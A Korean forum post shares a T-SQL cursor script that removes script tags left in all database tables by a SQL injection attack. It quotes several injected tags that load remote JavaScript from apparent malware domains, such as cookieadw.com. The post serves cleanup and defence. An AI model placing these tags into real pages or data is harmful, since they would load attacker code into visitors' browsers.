http://cafe.naver.com/sqlmaster.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=1755
인젝션공격 으로 인해서 모든 테이블에 아래와 같은 스크립트들이 입력되어 있는 경우가 있습니다.
전체테이블들의 스크립트를 삭제하는 커서를 만들었습니다.
-- 스크립트의 예
--<script src=http://www.encode72.com/b.js></script>
--<script src=http://www.win496.com/b.js></script>
--<script src=http://www.sslput4.com/b.js></script>
--<script src=http://www.rundll841.com/b.js></script>
--<script src=http://www.advertbnr.com/b.js></script>
--<script src=http://www.siteid38.com/b.js></script>
--<script src=http://www.cookieadw.com/b.js></script>
declare @name sysname, @id int
declare @sname sysname,@xtype int
declare @sql varchar(1000) , @b_data varchar(1000), @a_data varchar(10)
set @b_data='<script src=http://www.cookieadw.com/b.js></script>' -- 변경할문자(스크립트)
set @a_data='''''' -- 변경될문자(공백문자)
DECLARE MYCUR CURSOR FOR
-- 사용자테이블
select name,id from dbo.sysobjects where xtype='U'
OPEN MYCUR
FETCH NEXT FROM MYCUR INTO @name, @id
WHILE (@@FETCH_STATUS = 0)
BEGIN
DECLARE subcur CURSOR FOR
--컬럼 데이터타입이 VARCHAR, CHAR , NVARCHAR, NCHAR 형인것만
select name,xtype from dbo.syscolumns
where xtype in (
167 -- varchar
,175 -- char
,231 --nvarchar
,239 --nchar
)
and id=@id
OPEN subcur
FETCH NEXT FROM subcur INTO @sname,@xtype
WHILE (@@FETCH_STATUS = 0)
BEGIN
-- REPLACE 를 사용한 업데이트 (동적sql)
set @sql=' update dbo.' + @name + ' set ' + @sname + ' = replace(' + @sname + ',''' + @b_data + ''',' + @a_data +')'
exec ( @sql)
FETCH NEXT FROM subcur INTO @sname,@xtype
END
CLOSE subcur
DEALLOCATE subcur
FETCH NEXT FROM MYCUR INTO @name, @id
END
CLOSE MYCUR
DEALLOCATE MYCUR